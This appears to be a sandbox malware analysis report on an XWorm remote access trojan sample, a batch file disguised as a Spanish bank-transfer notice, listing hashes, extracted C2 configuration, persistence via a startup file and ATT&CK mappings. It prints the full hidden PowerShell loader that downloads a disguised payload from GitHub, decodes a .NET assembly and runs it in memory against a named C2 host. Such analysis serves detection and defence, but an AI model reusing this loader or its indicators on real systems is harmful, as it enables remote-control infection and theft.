xworm | c7b24736650ed6130939821101f4641e1a50a2316f3bbcf974d85c8de585a40d

Analysis

max time kernel
133s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2024, 20:04

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General

Target
INFORMACIÓN DE TRANSFERENCIA BANCARIA No 4532 25.bat
Size 210KB
Sample241029-ytcfrayhlm
SHA256 c7b24736650ed6130939821101f4641e1a50a2316f3bbcf974d85c8de585a40d
MD5 fc162f6d374e3bce9c3130fdcb6b7307
SHA1 a874953f738df2b9c59d52d1262aac387bf26fb7
SHA512 520bf9202494786604d194bf6b23020231810744bbb405c1177ab7ee30c82633027445c3bb4e464cc690e7d7d0b6daaecd0a5884aeebcd585541d746cdf662e8
SSDEEP 6144:vZnip76K90FB+Z7VIuArKAgY2aaOOiuauK+yp8:E
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true
exe.dropper
https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true

Extracted

Family

xworm

Version

crypters.ddns.com.br:7000

Mutex

GGGrHP0Odh89zLnb

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1520-15-0x000002855AB00000-0x000002855ADF2000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	1520	powershell.exe
18	1520	powershell.exe
32	1520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1520	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\trombetada.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\trombetada.bat	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
17	raw.githubusercontent.com
18	raw.githubusercontent.com

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1520	powershell.exe
1520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 1520	3264	cmd.exe	85
PID 3264 wrote to memory of 1520	3264	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INFORMACIÓN DE TRANSFERENCIA BANCARIA No 4532 25.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('joseamayaaa.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_3oz2k3f4.fge.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3oz2k3f4.fge.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1520-2-0x00007FFD8D483000-0x00007FFD8D485000-memory.dmp

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memory/1520-8-0x000002855A3D0000-0x000002855A3F2000-memory.dmp

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memory/1520-13-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

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memory/1520-14-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

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memory/1520-15-0x000002855AB00000-0x000002855ADF2000-memory.dmp

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memory/1520-16-0x00007FFD8D483000-0x00007FFD8D485000-memory.dmp

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memory/1520-17-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

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memory/1520-18-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

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